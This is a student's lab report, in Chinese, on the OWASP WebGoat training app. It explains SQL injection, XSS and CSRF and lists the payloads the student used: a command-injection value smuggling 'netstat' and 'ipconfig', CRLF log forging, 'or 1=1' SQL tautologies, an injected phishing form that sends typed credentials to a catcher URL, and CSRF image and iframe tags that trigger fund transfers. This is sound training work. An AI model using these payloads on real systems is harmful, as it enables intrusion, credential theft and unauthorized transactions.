ahnuzfm 2020-05-31
2.kali linux
Webgoat实践
理解常用网络攻击技术的基本原理
做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
抓图包括学号,P图或无学号,扣0.5分 (0.5分)
SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
将Jar包移动至文件目录下,执行命令运行Webgoat java -jar webgoat-container-7.0.1-war-exec.jar
webgoat占用8080端口
浏览器中输入http://localhost:8080/WebGoat
进入WebGoat登录界面,课程可见左栏
SQL注入攻击原理,如何防御 |
XSS攻击的原理,如何防御 |
CSRF攻击原理,如何防御 |
选中 Injection Flaws->Command Injection->inspect Element(检查元素)
右键点击复选框选择 Inspect 审查网页元素对源代码 右击Edit as HTML进行修改AccessControlMatrix.help 20172327Mark"& netstat -an & ipconfig"
View 可以看到网络端口使用情况和IP地址
webgoat%0d%0aLogin Succeeded for username: mark20172327
,%0d表示空格,%0a表示换行;SELECT * FROM weather_data WHERE station = ?
这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上value="101"
进行修改,在城市编号101后添加or 1=1
,就会发现选择哥伦比亚,所有城市都会显示‘
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容mark‘ or 1=1--
select表里面的所有数据创建一个form要求填写用户名和密码
在搜索框输入如下代码,页面增加一个表单
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
<script>alert(" 20172327mark");</script>
后点击Submit,显示内容为script脚本指定的警告框<img src="http://localhost:8080/WebGoat/attack?Screen=522&menu=900&transferFunds=2327 width="1" height="1"/>
<iframe src="attack?Screen=325&menu=900&transferFunds=2327"> </iframe> <iframe src="attack?Screen=325&menu=900&transferFunds=CONFIRM"> </iframe>
这是一个好软件,在网络攻击中有很好的训练意义。SQL注入攻击、XSS攻击和CSRF攻击,这些都会发生在我们身边,这次虽然理解大概原理,但还是比较片面,所以,还要深入学习,拓宽见识。
最后一次实验,我们就要说再见了,实验不难,就jsp那遇到点小麻烦,但很容易就解决了,这是一个新领域,这学期的学习让我学会了很多,也感悟了很多,未来一定会有更多的机会在更多的领域磨练自己,养成一个勤加积累的好习惯让自己逐渐成长。
加油!